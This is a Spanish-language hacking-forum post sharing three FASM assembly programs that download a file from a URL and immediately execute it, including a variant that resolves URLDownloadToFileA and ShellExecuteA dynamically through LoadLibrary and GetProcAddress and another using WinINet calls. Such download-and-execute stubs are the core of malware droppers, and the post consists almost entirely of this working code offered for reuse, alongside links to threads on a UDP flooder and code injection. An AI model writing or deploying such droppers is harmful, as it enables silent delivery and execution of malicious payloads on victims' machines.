comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[FASM] Download & Execute

  • 0 Respuestas
  • 4121 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5336
  • Actividad:
    23.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Abril 12, 2012, 10:47:20 am »
Simple Download and execute:

Código: ASM
  1. format PE GUI 4.0
  2. ; ASM Downloader Tutorial
  3. ; Simple Version
  4. ; Download and Execute a File
  5. ; 2012 By WireMask - wiremask.eu
  6.  
  7. ; choose Entry point
  8. entry start
  9. include 'include\win32a.inc'
  10. ; Declare Constants
  11. section '.data' data readable writeable
  12. _file           db 'file.htm',0
  13. _url            db 'http://wiremask.eu/',0
  14.  
  15. section '.code' code readable executable
  16. ; Entry point
  17. start:
  18.         ; Call download of _url
  19.         invoke URLDownloadToFile, 0, _url, _file, 0, 0
  20.         ; Call execution of _file
  21.         invoke ShellExecute, 0, 0, _file, 0, 0, SW_SHOW
  22.         ; Exit Application
  23.         invoke ExitProcess, 0
  24.  
  25. ; Declare API
  26. section '.idata' import data readable
  27.  library kernel32,'kernel32.dll',\
  28.                 urlmon,'urlmon.dll',\
  29.                 shell32,'shell32.dll'
  30.  import kernel32,\
  31.                 ExitProcess,'ExitProcess'
  32.  import urlmon,\
  33.                 URLDownloadToFile,'URLDownloadToFileA'
  34.  import shell32,\
  35.                 ShellExecute,'ShellExecuteA'

Advanced Download and Execute

Código: ASM
  1. format PE GUI 4.0
  2. ; ASM Downloader Tutorial
  3. ; Advanced Version ( Dynamic )
  4. ; Download and Execute a File
  5. ; 2012 By WireMask - wiremask.eu
  6.  
  7. ; choose Entry point
  8. entry start
  9. include 'include\win32a.inc'
  10. ; Declare Constants
  11. section '.data' data readable writeable
  12. _urlmon                         db 'urlmon.dll',0
  13. _shell                          db 'shell32.dll',0
  14. _URLDownloadToFile      db 'URLDownloadToFileA',0
  15. _ShellExecute           db 'ShellExecuteA',0;
  16.  
  17. _url    db 'http://wiremask.eu/',0
  18. _file   db 'file.htm',0
  19.  
  20. section '.code' code readable executable
  21. start: 
  22.         ; Load urlmon.dll
  23.         invoke LoadLibrary, _urlmon
  24.         cmp eax, 0
  25.         je exit
  26.         ; Get adress of URLDownloadToFileA function
  27.         invoke GetProcAddress, eax, _URLDownloadToFile
  28.         cmp eax, 0
  29.         je exit
  30.         ; Set parameters of URLDownloadToFileA
  31.         push eax
  32.         push 0
  33.         push 0
  34.         push _file
  35.         push _url
  36.         push 0
  37.         ; Call URLDownloadToFileA
  38.         call eax
  39.         pop eax
  40.         ; Free urlmon.dll
  41.         invoke FreeLibrary, eax
  42.        
  43.         ; Load shell32.dll
  44.         invoke LoadLibrary, _shell
  45.         cmp eax, 0
  46.         je exit
  47.         ; Get adress of ShellExecute function
  48.         invoke GetProcAddress, eax, _ShellExecute
  49.         cmp eax, 0
  50.         je exit
  51.         ; Set parameters of ShellExecute
  52.         push eax
  53.         push SW_SHOW
  54.         push 0
  55.         push 0
  56.         push _file
  57.         push 0
  58.         push 0
  59.         ; Call ShellExecute
  60.         call eax
  61.         pop eax
  62.         ; Free shell32.dll
  63.         invoke FreeLibrary, eax
  64.  
  65. exit:
  66.         ; Exit Application
  67.         invoke ExitProcess, 0
  68.  
  69. ; Declare API
  70. section '.idata' import data readable
  71.  library kernel32,'kernel32.dll'
  72.  
  73.  import kernel32, ExitProcess, 'ExitProcess',\
  74.         LoadLibrary,'LoadLibraryA',\
  75.         GetProcAddress, 'GetProcAddress',\
  76.         FreeLibrary, 'FreeLibrary'

Advanced Download and Execute V2

Código: ASM
  1. format PE GUI 4.0
  2. ; ASM Downloader
  3. ; Advanced Version ( InternetOpenUrl )
  4. ; Download and Execute a File
  5. ; 2012 By Wiremask.eu
  6.  
  7. ; choose Entry point
  8. entry start
  9. include 'include/win32a.inc'
  10. ; Declare Constants and variables
  11. section '.data' data readable writeable
  12. _url            db 'http://wiremask.eu/', 0
  13. _file           db 'file.htm', 0
  14. InetHandle      dd ?
  15. UrlHandle       dd ?
  16. FileHandle      dd ?
  17. ReadNext        dd ?
  18. DownloadBuffer  rb 400h
  19. BufferLength    = $ - DownloadBuffer
  20. BytesWritten    dd ?
  21.  
  22. section '.code' code readable executable
  23. ; Entry point
  24. start:
  25.         ; Initializes an application's use of the WinINet function
  26.         invoke InternetOpen,_url,0,0,0,0
  27.  
  28.         cmp eax, 0
  29.         je DownloadFileError
  30.         mov dword [InetHandle], eax
  31.  
  32.         ; Opens a file specified _url
  33.         invoke InternetOpenUrl,dword [InetHandle],_url,0,0,0,0
  34.  
  35.         cmp eax, 0
  36.         je DownloadFileError
  37.         mov dword [UrlHandle], eax
  38.  
  39.         ; Create File with specific attributes
  40.         invoke CreateFile,_file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0
  41.  
  42.         cmp eax, 0
  43.         je DownloadFileError
  44.         mov dword [FileHandle], eax
  45.         inc dword [ReadNext]
  46.  
  47. ReadNextBytes:
  48.         cmp dword [ReadNext], 0
  49.         je DownloadComplete
  50.  
  51.         ; Read data from UrlHandle
  52.         invoke InternetReadFile,dword [UrlHandle],DownloadBuffer,BufferLength,ReadNext
  53.        
  54.         ; Write data to _file
  55.         invoke WriteFile,dword [FileHandle],DownloadBuffer,dword [ReadNext],BytesWritten,0
  56.  
  57.         jmp ReadNextBytes
  58.  
  59. DownloadComplete:
  60.         invoke CloseHandle,dword [FileHandle]
  61.         invoke InternetCloseHandle,dword [UrlHandle]
  62.         invoke InternetCloseHandle,dword [InetHandle]
  63.        
  64. Execute:
  65.         ; Call execution of _file
  66.         invoke ShellExecute,0,0,_file,0,0,SW_SHOW
  67.  
  68. DownloadFileError:
  69.         jmp Exit
  70.  
  71. Exit:
  72.         invoke ExitProcess,0
  73.  
  74. section '.idata' import data readable
  75. library kernel, 'kernel32.dll',\
  76.         wininet, 'wininet.dll',\
  77.                 shell32, 'shell32.dll'
  78.  
  79. import  kernel,\
  80.         WriteFile, 'WriteFile',\
  81.         CreateFile, 'CreateFileA',\
  82.         CloseHandle, 'CloseHandle',\
  83.         ExitProcess, 'ExitProcess'
  84.  
  85. import  wininet,\
  86.         InternetOpen, 'InternetOpenA',\
  87.         InternetOpenUrl, 'InternetOpenUrlA',\
  88.         InternetReadFile, 'InternetReadFile',\
  89.         InternetCloseHandle, 'InternetCloseHandle'
  90.  
  91. import shell32,\
  92.                 ShellExecute, 'ShellExecuteA'

Fuente: You are not allowed to view links. Register or Login
« Última modificación: Junio 03, 2013, 11:49:30 am por Expermicid »


 

¿Te gustó el post? COMPARTILO!



[FASM] Simple Memory Code Injection

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2462
Último mensaje Junio 05, 2012, 04:43:46 pm
por ANTRAX
Subclasificando una ventana FASM

Iniciado por linkgl

Respuestas: 0
Vistas: 2364
Último mensaje Diciembre 24, 2012, 08:08:49 pm
por linkgl
[FASM] Ascii85 decode

Iniciado por Karcrack

Respuestas: 0
Vistas: 1871
Último mensaje Junio 16, 2013, 06:13:38 pm
por Karcrack
[FASM] Fresh IDE

Iniciado por 79137913

Respuestas: 0
Vistas: 2489
Último mensaje Julio 12, 2016, 08:25:25 am
por 79137913
[FASM] UDP Flooder

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2205
Último mensaje Abril 12, 2012, 11:07:34 am
por ANTRAX